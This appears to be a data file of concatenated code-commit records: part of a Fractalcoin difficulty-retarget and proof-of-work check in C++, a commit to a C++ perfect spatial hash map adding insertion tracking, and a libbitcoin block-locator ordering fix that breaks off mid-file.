(pblock->nTime > pindexLast->nTime + nTargetSpacing_V3 * 30) \/\/Params().TargetSpacing()*30)\n return nProofOfWorkLimit;\n else\n {\n \/\/ Return the last non-special-min-difficulty-rules-block\n const CBlockIndex* pindex = pindexLast;\n while (pindex->pprev && pindex->nHeight % retargetInterval != 0 && pindex->nBits == nProofOfWorkLimit)\n pindex = pindex->pprev;\n return pindex->nBits;\n }\n }\n return pindexLast->nBits;\n }\n\n \/\/ Fractalcoin: This fixes an issue where a 51% attack can change difficulty at will.\n \/\/ Go back the full period unless it's the first retarget after genesis. Code courtesy of Art Forz\n int blockstogoback = retargetInterval-1;\n if ((pindexLast->nHeight+1) != retargetInterval)\n blockstogoback = retargetInterval;\n\n \/\/ Go back by what we want to be 14 days worth of blocks\n const CBlockIndex* pindexFirst = pindexLast;\n for (int i = 0; pindexFirst && i < blockstogoback; i++)\n pindexFirst = pindexFirst->pprev;\n assert(pindexFirst);\n\n \/\/ Limit adjustment step\n int64_t nActualTimespan = pindexLast->GetBlockTime() - pindexFirst->GetBlockTime();\n LogPrintf(\" nActualTimespan = %d before bounds\\n\", nActualTimespan);\n \n \/\/DigiShield implementation - thanks to RealSolid & WDC for this code\n \/\/ amplitude filter - thanks to daft27 for this code\n nActualTimespan = retargetTimespan + (nActualTimespan - retargetTimespan)\/8;\n\n if (nActualTimespan < (retargetTimespan - (retargetTimespan\/4)) ) nActualTimespan = (retargetTimespan - (retargetTimespan\/4));\n if (nActualTimespan > (retargetTimespan + (retargetTimespan\/2)) ) nActualTimespan = (retargetTimespan + (retargetTimespan\/2));\n\n \/\/ Retarget\n uint256 bnNew;\n uint256 bnOld;\n bnNew.SetCompact(pindexLast->nBits);\n bnOld = bnNew;\n \/\/scale up for millisecond granularity\n bnNew *= nActualTimespan;\n \/\/slingshield effectively works by making the target block time longer temporarily\n bnNew \/= (retargetTimespan); \n\n\n\n if (bnNew > Params().ProofOfWorkLimit())\n bnNew = Params().ProofOfWorkLimit();\n\n \/\/\/ debug print\n LogPrintf(\"GetNextWorkRequired DIGISHIELD RETARGET\\n\");\n LogPrintf(\"Params().TargetTimespan() = %d nActualTimespan = %d\\n\", Params().TargetTimespan(), nActualTimespan);\n LogPrintf(\"Before: %08x %s\\n\", pindexLast->nBits, bnOld.ToString());\n LogPrintf(\"After: %08x %s\\n\", bnNew.GetCompact(), bnNew.ToString());\n return bnNew.GetCompact();\n}\n\n\nunsigned int GetNextWorkRequired(const CBlockIndex* pindexLast, const CBlockHeader *pblock)\n{\n int DiffMode = 1;\n if (Params().AllowMinDifficultyBlocks()) {\n if (pindexLast->nHeight+1 >= 50) { DiffMode = 2; }\n if (pindexLast->nHeight+1 >= 100) { DiffMode = 3; }\n\n }\n else \n {\n if (pindexLast->nHeight+1 >= 13579) { DiffMode = 2; } \/\/ KGW @ Block 13579\n if(pindexLast->nHeight+1 >= 31597) { DiffMode = 3; } \/\/switch to dobbshield @ block 31597\n }\n if (DiffMode == 1) { return GetNextWorkRequired_V1(pindexLast, pblock); }\n else if (DiffMode == 2) { return GetNextWorkRequired_V2(pindexLast, pblock); }\n else if (DiffMode == 3) { return GetNextWorkRequired_V3(pindexLast, pblock); }\n return GetNextWorkRequired_V3(pindexLast, pblock); \/\/never reached..\n}\n\n\nbool CheckProofOfWork(uint256 hash, unsigned int nBits)\n{\n bool fNegative;\n bool fOverflow;\n uint256 bnTarget;\n\n if(hash==HASHGENESISBLOCKPOW) \/\/ignore genesis block\n {\n return true;\n }\n\n if (Params().SkipProofOfWorkCheck())\n return true;\n\n bnTarget.SetCompact(nBits, &fNegative, &fOverflow);\n\n \/\/ Check range\n if (fNegative || bnTarget == 0 || fOverflow || bnTarget > Params().ProofOfWorkLimit())\n return error(\"CheckProofOfWork() : nBits below minimum work\");\n\n \/\/ Check proof of work matches claimed amount\n if (hash > bnTarget)\n return error(\"CheckProofOfWork() : hash doesn't match nBits\");\n\n return true;\n}\n\nuint256 GetBlockProof(const CBlockIndex& block)\n{\n uint256 bnTarget;\n bool fNegative;\n bool fOverflow;\n bnTarget.SetCompact(block.nBits, &fNegative, &fOverflow);\n if (fNegative || fOverflow || bnTarget == 0)\n return 0;\n \/\/ We need to compute 2**256 \/ (bnTarget+1), but we can't represent 2**256\n \/\/ as it's too large for a uint256. However, as 2**256 is at least as large\n \/\/ as bnTarget+1, it is equal to ((2**256 - bnTarget - 1) \/ (bnTarget+1)) + 1,\n \/\/ or ~bnTarget \/ (nTarget+1) + 1.\n return (~bnTarget \/ (bnTarget + 1)) + 1;\n}\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include <string>\n#include <functional>\n#include <cmath>\n#include <random>\n#include <iostream>\n#include <vector>\n#include <utility>\n#include \"tbb\/parallel_sort.h\"\n#include \"tbb\/mutex.h\"\n#include \"tbb\/pipeline.h\"\n#include \"util.hpp\"\n#include \"point.hpp\"\n\n#define VALUE(x) std::cout << #x \"=\" << x << std::endl\n\nnamespace psh\n{\n\ttemplate<uint d, class T>\n\tclass map\n\t{\n\t\tstatic_assert(d > 0, \"d must be larger than 0.\");\n\tpublic:\n\t\tstruct data_t\n\t\t{\n\t\t\tpoint<d> location;\n\t\t\tT contents;\n\t\t};\n\n\t\tstruct bucket : public std::vector<data_t>\n\t\t{\n\t\t\tuint phi_index;\n\n\t\t\tbucket(uint phi_index) : phi_index(phi_index) { }\n\t\t\tfriend bool operator<(const bucket& lhs, const bucket& rhs) {\n\t\t\t\treturn lhs.size() > rhs.size();\n\t\t\t}\n\t\t};\n\n\t\tuint M0;\n\t\tuint M1;\n\t\tuint n;\n\t\tuint m_bar;\n\t\tuint m;\n\t\tuint r_bar;\n\t\tuint r;\n\t\tstd::vector<point<d>> phi;\n\t\tstd::vector<bool> H_b;\n\t\tstd::vector<T> H;\n\t\tstd::default_random_engine generator;\n\n\t\tmap(const std::vector<data_t>& data)\n\t\t\t: n(data.size()), m_bar(std::ceil(std::pow(n, 1.0f \/ d))), m(std::pow(m_bar, d)),\n\t\t\t r_bar(std::ceil(std::pow(n \/ d, 1.0f \/ d)) - 1), generator(time(0))\n\t\t{\n\t\t\tM0 = prime();\n\t\t\twhile ((M1 = prime()) == M0);\n\n\t\t\tVALUE(m);\n\t\t\tVALUE(m_bar);\n\n\t\t\tbool create_succeeded = false;\n\n\t\t\tstd::uniform_int_distribution<uint> m_dist(0, m - 1);\n\n\t\t\tdo\n\t\t\t{\n\t\t\t\tr_bar += d;\n\t\t\t\tr = std::pow(r_bar, d);\n\t\t\t\tVALUE(r);\n\t\t\t\tVALUE(r_bar);\n\n\t\t\t\tcreate_succeeded = create(data, m_dist);\n\n\t\t\t} while (!create_succeeded);\n\t\t}\n\n\t\tuint prime()\n\t\t{\n\t\t\tstatic const std::vector<uint> primes{ 53, 97, 193, 389, 769, 1543, 3079, 6151, 12289,\n\t\t\t\t24593, 49157, 98317, 196613, 393241, 786433, 1572869, 3145739, 6291469 };\n\t\t\tstatic std::uniform_int_distribution<uint> prime_dist(0, primes.size() - 1);\n\n\t\t\treturn primes[prime_dist(generator)];\n\t\t}\n\n\t\tbool bad_m_r()\n\t\t{\n\t\t\tauto m_mod_r = m_bar % r_bar;\n\t\t\treturn m_mod_r == 1 || m_mod_r == r - 1;\n\t\t}\n\n\t\tvoid insert(const bucket& b, decltype(H)& H_hat, decltype(H_b)& H_b_hat,\n\t\t\tconst decltype(phi)& phi_hat)\n\t\t{\n\t\t\tfor (auto& element : b)\n\t\t\t{\n\t\t\t\tauto hashed = h(element.location, phi_hat);\n\t\t\t\tauto i = point_to_index<d>(hashed, m_bar, m);\n\t\t\t\tH_hat[i] = element.contents;\n\t\t\t\tH_b_hat[i] = true;\n\t\t\t}\n\t\t}\n\n\t\tbool jiggle_offsets(decltype(H)& H_hat, decltype(H_b)& H_b_hat,\n\t\t\tdecltype(phi)& phi_hat, const bucket& b,\n\t\t\tstd::uniform_int_distribution<uint>& m_dist)\n\t\t{\n\t\t\tuint start_offset = m_dist(generator);\n\n\t\t\tbool found = false;\n\t\t\tpoint<d> found_offset;\n\t\t\ttbb::mutex mutex;\n\n\t\t\tuint chunk_index = 0;\n\t\t\tconst uint num_cores = 8;\n\t\t\tconst uint group_size = r \/ num_cores + 1;\n\n\t\t\ttbb::parallel_pipeline(num_cores,\n\t\t\t\ttbb::make_filter<void, uint>(tbb::filter::serial,\n\t\t\t\t\t[=, &chunk_index, &found, &group_size](tbb::flow_control& fc) {\n\t\t\t\t\t\tif (found || chunk_index >= r)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tfc.stop();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tchunk_index += group_size;\n\t\t\t\t\t\treturn chunk_index;\n\t\t\t\t\t}) &\n\t\t\t\ttbb::make_filter<uint, void>(tbb::filter::parallel,\n\t\t\t\t\t[=, &mutex, &found, &found_offset, &b, &phi_hat, &H_hat, &H_b_hat](uint i0)\n\t\t\t\t\t{\n\t\t\t\t\t\tfor (uint i = i0; i < i0 + group_size && !found; i++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tauto phi_offset = index_to_point<d>((start_offset + i) % m, m_bar, m);\n\n\t\t\t\t\t\t\tbool collision = false;\n\t\t\t\t\t\t\tfor (auto& element : b)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tauto h0 = M0 * element.location;\n\t\t\t\t\t\t\t\tauto h1 = M1 * element.location;\n\t\t\t\t\t\t\t\tauto index = point_to_index<d>(h1, r_bar, r);\n\t\t\t\t\t\t\t\tauto offset = index == b.phi_index ? phi_offset : phi_hat[index];\n\t\t\t\t\t\t\t\tauto hash = h0 + offset;\n\n\t\t\t\t\t\t\t\tcollision = H_b_hat[point_to_index<d>(hash, m_bar, m)];\n\t\t\t\t\t\t\t\tif (collision)\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (!collision)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttbb::mutex::scoped_lock lock(mutex);\n\t\t\t\t\t\t\t\tif (!found)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\t\t\t\tfound_offset = phi_offset;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t);\n\t\t\tif (found)\n\t\t\t{\n\t\t\t\tphi_hat[b.phi_index] = found_offset;\n\t\t\t\tinsert(b, H_hat, H_b_hat, phi_hat);\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\n\t\tstd::vector<bucket> create_buckets(const std::vector<data_t>& data)\n\t\t{\n\t\t\tstd::vector<bucket> buckets;\n\t\t\tbuckets.reserve(r);\n\t\t\t{\n\t\t\t\tuint i = 0;\n\t\t\t\tstd::generate_n(std::back_inserter(buckets), r, [&] {\n\t\t\t\t\t\treturn bucket(i++);\n\t\t\t\t\t});\n\t\t\t}\n\n\t\t\tfor (auto& element : data)\n\t\t\t{\n\t\t\t\tauto h1 = M1 * element.location;\n\t\t\t\tbuckets[point_to_index<d>(h1, r_bar, r)].push_back(element);\n\t\t\t}\n\n\t\t\tstd::cout << \"buckets created\" << std::endl;\n\n\t\t\ttbb::parallel_sort(buckets.begin(), buckets.end());\n\t\t\tstd::cout << \"buckets sorted\" << std::endl;\n\n\t\t\treturn buckets;\n\t\t}\n\n\t\tbool create(const std::vector<data_t>& data, std::uniform_int_distribution<uint>& m_dist)\n\t\t{\n\t\t\tdecltype(phi) phi_hat;\n\t\t\tphi_hat.reserve(r);\n\t\t\tdecltype(H) H_hat;\n\t\t\tH_hat.reserve(m);\n\t\t\tdecltype(H_b) H_b_hat(m, false);\n\t\t\tstd::cout << \"creating \" << r << \" buckets\" << std::endl;\n\n\t\t\tif (bad_m_r())\n\t\t\t\treturn false;\n\n\t\t\tauto buckets = create_buckets(data);\n\t\t\tstd::cout << \"jiggling offsets\" << std::endl;\n\n\t\t\tfor (uint i = 0; i < buckets.size(); i++)\n\t\t\t{\n\t\t\t\tif (buckets[i].size() == 0)\n\t\t\t\t\tbreak;\n\t\t\t\tif (i % (buckets.size() \/ 10) == 0)\n\t\t\t\t\tstd::cout << (100 * i) \/ buckets.size() << \"% done\" << std::endl;\n\n\t\t\t\tif (!jiggle_offsets(H_hat, H_b_hat, phi_hat, buckets[i], m_dist))\n\t\t\t\t{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tstd::cout << \"done!\" << std::endl;\n\t\t\tphi = std::move(phi_hat);\n\t\t\tH = std::move(H_hat);\n\t\t\tH_b = std::move(H_b_hat);\n\t\t\treturn true;\n\t\t}\n\n\t\tpoint<d> h(const point<d>& p, const decltype(phi)& phi_hat) const\n\t\t{\n\t\t\tauto h0 = M0 * p;\n\t\t\tauto h1 = M1 * p;\n\t\t\tauto offset = phi_hat[point_to_index<d>(h1, r_bar, r)];\n\t\t\treturn h0 + offset;\n\t\t}\n\n\t\tpoint<d> h(const point<d>& p) const\n\t\t{\n\t\t\treturn h(p, phi);\n\t\t}\n\n\t\tT get(const point<d>& p) const\n\t\t{\n\t\t\tauto i = point_to_index<d>(h(p), m_bar, m);\n\t\t\tif (H_b[i])\n\t\t\t\treturn H[i];\n\t\t\telse\n\t\t\t\tthrow std::out_of_range(\"Element not found in map\");\n\t\t}\n\n\t\tuint memory_size() const\n\t\t{\n\t\t\treturn sizeof(*this)\n\t\t\t\t+ sizeof(typename decltype(phi)::value_type) * phi.capacity()\n\t\t\t\t+ sizeof(typename decltype(H)::value_type) * H.capacity();\n\t\t}\n\t};\n}<commit_msg>added another 'vector<bool>' to keep track of phi insertions<commit_after>#pragma once\n\n#include <string>\n#include <functional>\n#include <cmath>\n#include <random>\n#include <iostream>\n#include <vector>\n#include <utility>\n#include \"tbb\/parallel_sort.h\"\n#include \"tbb\/mutex.h\"\n#include \"tbb\/pipeline.h\"\n#include \"util.hpp\"\n#include \"point.hpp\"\n\n#define VALUE(x) std::cout << #x \"=\" << x << std::endl\n\nnamespace psh\n{\n\ttemplate<uint d, class T>\n\tclass map\n\t{\n\t\tstatic_assert(d > 0, \"d must be larger than 0.\");\n\tpublic:\n\t\tstruct data_t\n\t\t{\n\t\t\tpoint<d> location;\n\t\t\tT contents;\n\t\t};\n\n\t\tstruct bucket : public std::vector<data_t>\n\t\t{\n\t\t\tuint phi_index;\n\n\t\t\tbucket(uint phi_index) : phi_index(phi_index) { }\n\t\t\tfriend bool operator<(const bucket& lhs, const bucket& rhs) {\n\t\t\t\treturn lhs.size() > rhs.size();\n\t\t\t}\n\t\t};\n\n\t\tuint M0;\n\t\tuint M1;\n\t\tuint n;\n\t\tuint m_bar;\n\t\tuint m;\n\t\tuint r_bar;\n\t\tuint r;\n\t\tstd::vector<bool> phi_b;\n\t\tstd::vector<point<d>> phi;\n\t\tstd::vector<bool> H_b;\n\t\tstd::vector<T> H;\n\t\tstd::default_random_engine generator;\n\n\t\tmap(const std::vector<data_t>& data)\n\t\t\t: n(data.size()), m_bar(std::ceil(std::pow(n, 1.0f \/ d))), m(std::pow(m_bar, d)),\n\t\t\t r_bar(std::ceil(std::pow(n \/ d, 1.0f \/ d)) - 1), generator(time(0))\n\t\t{\n\t\t\tM0 = prime();\n\t\t\twhile ((M1 = prime()) == M0);\n\n\t\t\tVALUE(m);\n\t\t\tVALUE(m_bar);\n\n\t\t\tbool create_succeeded = false;\n\n\t\t\tstd::uniform_int_distribution<uint> m_dist(0, m - 1);\n\n\t\t\tdo\n\t\t\t{\n\t\t\t\tr_bar += d;\n\t\t\t\tr = std::pow(r_bar, d);\n\t\t\t\tVALUE(r);\n\t\t\t\tVALUE(r_bar);\n\n\t\t\t\tcreate_succeeded = create(data, m_dist);\n\n\t\t\t} while (!create_succeeded);\n\t\t}\n\n\t\tuint prime()\n\t\t{\n\t\t\tstatic const std::vector<uint> primes{ 53, 97, 193, 389, 769, 1543, 3079, 6151, 12289,\n\t\t\t\t24593, 49157, 98317, 196613, 393241, 786433, 1572869, 3145739, 6291469 };\n\t\t\tstatic std::uniform_int_distribution<uint> prime_dist(0, primes.size() - 1);\n\n\t\t\treturn primes[prime_dist(generator)];\n\t\t}\n\n\t\tbool bad_m_r()\n\t\t{\n\t\t\tauto m_mod_r = m_bar % r_bar;\n\t\t\treturn m_mod_r == 1 || m_mod_r == r - 1;\n\t\t}\n\n\t\tvoid insert(const bucket& b, decltype(H)& H_hat, decltype(H_b)& H_b_hat,\n\t\t\tconst decltype(phi)& phi_hat, const decltype(phi_b)& phi_b_hat)\n\t\t{\n\t\t\tfor (auto& element : b)\n\t\t\t{\n\t\t\t\tauto hashed = h(element.location, phi_hat, phi_b_hat);\n\t\t\t\tauto i = point_to_index<d>(hashed, m_bar, m);\n\t\t\t\tH_hat[i] = element.contents;\n\t\t\t\tH_b_hat[i] = true;\n\t\t\t}\n\t\t}\n\n\t\tbool jiggle_offsets(decltype(H)& H_hat, decltype(H_b)& H_b_hat,\n\t\t\tdecltype(phi)& phi_hat, decltype(phi_b)& phi_b_hat, const bucket& b,\n\t\t\tstd::uniform_int_distribution<uint>& m_dist)\n\t\t{\n\t\t\tuint start_offset = m_dist(generator);\n\n\t\t\tbool found = false;\n\t\t\tpoint<d> found_offset;\n\t\t\ttbb::mutex mutex;\n\n\t\t\tuint chunk_index = 0;\n\t\t\tconst uint num_cores = 8;\n\t\t\tconst uint group_size = r \/ num_cores + 1;\n\n\t\t\ttbb::parallel_pipeline(num_cores,\n\t\t\t\ttbb::make_filter<void, uint>(tbb::filter::serial,\n\t\t\t\t\t[=, &chunk_index, &found, &group_size](tbb::flow_control& fc) {\n\t\t\t\t\t\tif (found || chunk_index >= r)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tfc.stop();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tchunk_index += group_size;\n\t\t\t\t\t\treturn chunk_index;\n\t\t\t\t\t}) &\n\t\t\t\ttbb::make_filter<uint, void>(tbb::filter::parallel,\n\t\t\t\t\t[=, &mutex, &found, &found_offset, &b, &phi_hat, &phi_b_hat, &H_hat, &H_b_hat](uint i0)\n\t\t\t\t\t{\n\t\t\t\t\t\tfor (uint i = i0; i < i0 + group_size && !found; i++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tauto phi_offset = index_to_point<d>((start_offset + i) % m, m_bar, m);\n\n\t\t\t\t\t\t\tbool collision = false;\n\t\t\t\t\t\t\tfor (auto& element : b)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tauto h0 = M0 * element.location;\n\t\t\t\t\t\t\t\tauto h1 = M1 * element.location;\n\t\t\t\t\t\t\t\tauto index = point_to_index<d>(h1, r_bar, r);\n\t\t\t\t\t\t\t\tauto offset = index == b.phi_index ? phi_offset : phi_hat[index];\n\t\t\t\t\t\t\t\tauto hash = h0 + offset;\n\n\t\t\t\t\t\t\t\tcollision = H_b_hat[point_to_index<d>(hash, m_bar, m)];\n\t\t\t\t\t\t\t\tif (collision)\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (!collision)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttbb::mutex::scoped_lock lock(mutex);\n\t\t\t\t\t\t\t\tif (!found)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\t\t\t\tfound_offset = phi_offset;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t);\n\t\t\tif (found)\n\t\t\t{\n\t\t\t\tphi_b_hat[b.phi_index] = true;\n\t\t\t\tphi_hat[b.phi_index] = found_offset;\n\t\t\t\tinsert(b, H_hat, H_b_hat, phi_hat, phi_b_hat);\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\n\t\tstd::vector<bucket> create_buckets(const std::vector<data_t>& data)\n\t\t{\n\t\t\tstd::vector<bucket> buckets;\n\t\t\tbuckets.reserve(r);\n\t\t\t{\n\t\t\t\tuint i = 0;\n\t\t\t\tstd::generate_n(std::back_inserter(buckets), r, [&] {\n\t\t\t\t\t\treturn bucket(i++);\n\t\t\t\t\t});\n\t\t\t}\n\n\t\t\tfor (auto& element : data)\n\t\t\t{\n\t\t\t\tauto h1 = M1 * element.location;\n\t\t\t\tbuckets[point_to_index<d>(h1, r_bar, r)].push_back(element);\n\t\t\t}\n\n\t\t\tstd::cout << \"buckets created\" << std::endl;\n\n\t\t\ttbb::parallel_sort(buckets.begin(), buckets.end());\n\t\t\tstd::cout << \"buckets sorted\" << std::endl;\n\n\t\t\treturn buckets;\n\t\t}\n\n\t\tbool create(const std::vector<data_t>& data, std::uniform_int_distribution<uint>& m_dist)\n\t\t{\n\t\t\tdecltype(phi) phi_hat;\n\t\t\tphi_hat.reserve(r);\n\t\t\tdecltype(phi_b) phi_b_hat(r, false);\n\t\t\tdecltype(H) H_hat;\n\t\t\tH_hat.reserve(m);\n\t\t\tdecltype(H_b) H_b_hat(m, false);\n\t\t\tstd::cout << \"creating \" << r << \" buckets\" << std::endl;\n\n\t\t\tif (bad_m_r())\n\t\t\t\treturn false;\n\n\t\t\tauto buckets = create_buckets(data);\n\t\t\tstd::cout << \"jiggling offsets\" << std::endl;\n\n\t\t\tfor (uint i = 0; i < buckets.size(); i++)\n\t\t\t{\n\t\t\t\tif (buckets[i].size() == 0)\n\t\t\t\t\tbreak;\n\t\t\t\tif (i % (buckets.size() \/ 10) == 0)\n\t\t\t\t\tstd::cout << (100 * i) \/ buckets.size() << \"% done\" << std::endl;\n\n\t\t\t\tif (!jiggle_offsets(H_hat, H_b_hat, phi_hat, phi_b_hat, buckets[i], m_dist))\n\t\t\t\t{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tstd::cout << \"done!\" << std::endl;\n\t\t\tphi = std::move(phi_hat);\n\t\t\tphi_b = std::move(phi_b_hat);\n\t\t\tH = std::move(H_hat);\n\t\t\tH_b = std::move(H_b_hat);\n\t\t\treturn true;\n\t\t}\n\n\t\tpoint<d> h(const point<d>& p, const decltype(phi)& phi_hat,\n\t\t\tconst decltype(phi_b)& phi_b_hat) const\n\t\t{\n\t\t\tauto h0 = M0 * p;\n\t\t\tauto h1 = M1 * p;\n\t\t\tauto i = point_to_index<d>(h1, r_bar, r);\n\t\t\tif (!phi_b_hat[i])\n\t\t\t\tthrow std::out_of_range(\"Element not found in map\");\n\t\t\tauto offset = phi_hat[i];\n\t\t\treturn h0 + offset;\n\t\t}\n\n\t\tpoint<d> h(const point<d>& p) const\n\t\t{\n\t\t\treturn h(p, phi, phi_b);\n\t\t}\n\n\t\tT get(const point<d>& p) const\n\t\t{\n\t\t\tauto i = point_to_index<d>(h(p), m_bar, m);\n\t\t\tif (H_b[i])\n\t\t\t\treturn H[i];\n\t\t\telse\n\t\t\t\tthrow std::out_of_range(\"Element not found in map\");\n\t\t}\n\n\t\tuint memory_size() const\n\t\t{\n\t\t\treturn sizeof(*this)\n\t\t\t\t+ sizeof(typename decltype(phi)::value_type) * phi.capacity()\n\t\t\t\t+ sizeof(typename decltype(phi_b)::value_type) * phi_b.capacity()\n\t\t\t\t+ sizeof(typename decltype(H)::value_type) * H.capacity()\n\t\t\t\t+ sizeof(typename decltype(H_b)::value_type) * H_b.capacity();\n\t\t}\n\t};\n}<|endoftext|>"} {"text":"<commit_before>#include <bitcoin\/blockchain\/blockchain.hpp>\n\n#include <bitcoin\/utility\/assert.hpp>\n\nnamespace libbitcoin {\n\nusing std::placeholders::_1;\nusing std::placeholders::_2;\n\ntypedef blockchain_fetch_handler_block handler_block;\n\nclass fetch_block_t\n : public std::enable_shared_from_this<fetch_block_t>\n{\npublic:\n fetch_block_t(blockchain_ptr chain)\n : chain_(chain), stopped_(false) {}\n\n template <typename BlockIndex>\n void start(const BlockIndex& index, handler_block handle)\n {\n handle_ = handle;\n auto this_ptr = shared_from_this();\n chain_->fetch_block_header(index,\n [this, this_ptr](const std::error_code& ec,\n const message::block& block_header)\n {\n if (stop_on_error(ec))\n return;\n block_ = block_header;\n fetch_hashes();\n });\n }\n\nprivate:\n bool stop_on_error(const std::error_code& ec)\n {\n if (stopped_)\n return true;\n else if (ec)\n {\n stopped_ = true;\n handle_(ec, message::block());\n return true;\n }\n return false;\n }\n\n void fetch_hashes()\n {\n chain_->fetch_block_transaction_hashes(\n hash_block_header(block_),\n std::bind(&fetch_block_t::fetch_transactions,\n shared_from_this(), _1, _2));\n }\n\n void fetch_transactions(const std::error_code& ec,\n const message::inventory_list& tx_hashes)\n {\n if (stop_on_error(ec))\n return;\n block_.transactions.resize(tx_hashes.size());\n count_ = 0;\n for (size_t tx_index = 0;\n tx_index < tx_hashes.size(); ++tx_index)\n {\n fetch_tx(tx_hashes, tx_index);\n }\n }\n\n void fetch_tx(const message::inventory_list& tx_hashes, size_t tx_index)\n {\n auto this_ptr = shared_from_this();\n const message::inventory_vector& inv = tx_hashes[tx_index];\n BITCOIN_ASSERT(inv.type ==\n message::inventory_type::transaction);\n size_t tx_hashes_size = tx_hashes.size();\n chain_->fetch_transaction(inv.hash,\n [this, this_ptr, tx_index, tx_hashes_size](\n const std::error_code& ec,\n const message::transaction& tx)\n {\n if (stop_on_error(ec))\n return;\n BITCOIN_ASSERT(tx_index < block_.transactions.size());\n block_.transactions[tx_index] = tx;\n ++count_;\n BITCOIN_ASSERT(block_.transactions.size() == tx_hashes_size);\n if (count_ == tx_hashes_size)\n handle_(std::error_code(), block_);\n });\n }\n\n blockchain_ptr chain_;\n handler_block handle_;\n\n message::block block_;\n size_t count_;\n bool stopped_;\n};\n\nvoid fetch_block(blockchain_ptr chain, size_t depth,\n handler_block handle_fetch)\n{\n auto fetcher = std::make_shared<fetch_block_t>(chain);\n fetcher->start(depth, handle_fetch);\n}\nvoid fetch_block(blockchain_ptr chain, const hash_digest& block_hash,\n handler_block handle_fetch)\n{\n auto fetcher = std::make_shared<fetch_block_t>(chain);\n fetcher->start(block_hash, handle_fetch);\n}\n\n\/\/ fetch_block_locator\ntypedef blockchain_fetch_handler_block_locator handler_locator;\n\nclass fetch_locator\n : public std::enable_shared_from_this<fetch_locator>\n{\npublic:\n fetch_locator(blockchain_ptr chain)\n : chain_(chain) {}\n\n void start(handler_locator handle)\n {\n handle_ = handle;\n auto this_ptr = shared_from_this();\n chain_->fetch_last_depth(\n std::bind(&fetch_locator::populate,\n this_ptr, _1, _2));\n }\n\nprivate:\n \/\/ An intermediate type used to keep metadata about the locator\n \/\/ so we can sort the locator before returning.\n typedef std::pair<size_t, hash_digest> meta_entry;\n typedef std::vector<meta_entry> meta_locator;\n\n bool stop_on_error(const std::error_code& ec)\n {\n if (stopped_)\n return true;\n else if (ec)\n {\n stopped_ = true;\n handle_(ec, message::block_locator());\n return true;\n }\n return false;\n }\n\n void populate(const std::error_code& ec, size_t last_depth)\n {\n if (stop_on_error(ec))\n return;\n index_list indexes = block_locator_indexes(last_depth);\n auto this_ptr = shared_from_this();\n for (size_t depth: indexes)\n chain_->fetch_block_header(depth,\n std::bind(&fetch_locator::append,\n this_ptr, _1, _2, depth, indexes.size()));\n }\n\n void append(const std::error_code& ec,\n const message::block& block_header, size_t depth, size_t entries)\n {\n if (stop_on_error(ec))\n return;\n meta_.push_back(std::make_pair(depth, hash_block_header(block_header)));\n if (meta_.size() == entries)\n final();\n }\n\n void final()\n {\n std::sort(meta_.begin(), meta_.end(),\n [](const meta_entry& entry_a, const meta_entry& entry_b)\n {\n return entry_a.first < entry_b.first;\n });\n message::block_locator final_locator;\n for (const meta_entry& entry: meta_)\n final_locator.push_back(entry.second);\n handle_(std::error_code(), final_locator);\n }\n\n blockchain_ptr chain_;\n handler_locator handle_;\n bool stopped_;\n meta_locator meta_;\n};\n\nvoid fetch_block_locator(blockchain_ptr chain, handler_locator handle_fetch)\n{\n auto fetcher = std::make_shared<fetch_locator>(chain);\n fetcher->start(handle_fetch);\n}\n\n} \/\/ namespace libbitcoin\n\n<commit_msg>Bugfix: fetch_block_locator returning entries reversed.<commit_after>#include <bitcoin\/blockchain\/blockchain.hpp>\n\n#include <bitcoin\/utility\/assert.hpp>\n\nnamespace libbitcoin {\n\nusing std::placeholders::_1;\nusing std::placeholders::_2;\n\ntypedef blockchain_fetch_handler_block handler_block;\n\nclass fetch_block_t\n : public std::enable_shared_from_this<fetch_block_t>\n{\npublic:\n fetch_block_t(blockchain_ptr chain)\n : chain_(chain), stopped_(false) {}\n\n template <typename BlockIndex>\n void start(const BlockIndex& index, handler_block handle)\n {\n handle_ = handle;\n auto this_ptr = shared_from_this();\n chain_->fetch_block_header(index,\n [this, this_ptr](const std::error_code& ec,\n const message::block& block_header)\n {\n if (stop_on_error(ec))\n return;\n block_ = block_header;\n fetch_hashes();\n });\n }\n\nprivate:\n bool stop_on_error(const std::error_code& ec)\n {\n if (stopped_)\n return true;\n else if (ec)\n {\n stopped_ = true;\n handle_(ec, message::block());\n return true;\n }\n return false;\n }\n\n void fetch_hashes()\n {\n chain_->fetch_block_transaction_hashes(\n hash_block_header(block_),\n std::bind(&fetch_block_t::fetch_transactions,\n shared_from_this(), _1, _2));\n }\n\n void fetch_transactions(const std::error_code& ec,\n const message::inventory_list& tx_hashes)\n {\n if (stop_on_error(ec))\n return;\n block_.transactions.resize(tx_hashes.size());\n count_ = 0;\n for (size_t tx_index = 0;\n tx_index < tx_hashes.size(); ++tx_index)\n {\n fetch_tx(tx_hashes, tx_index);\n }\n }\n\n void fetch_tx(const message::inventory_list& tx_hashes, size_t 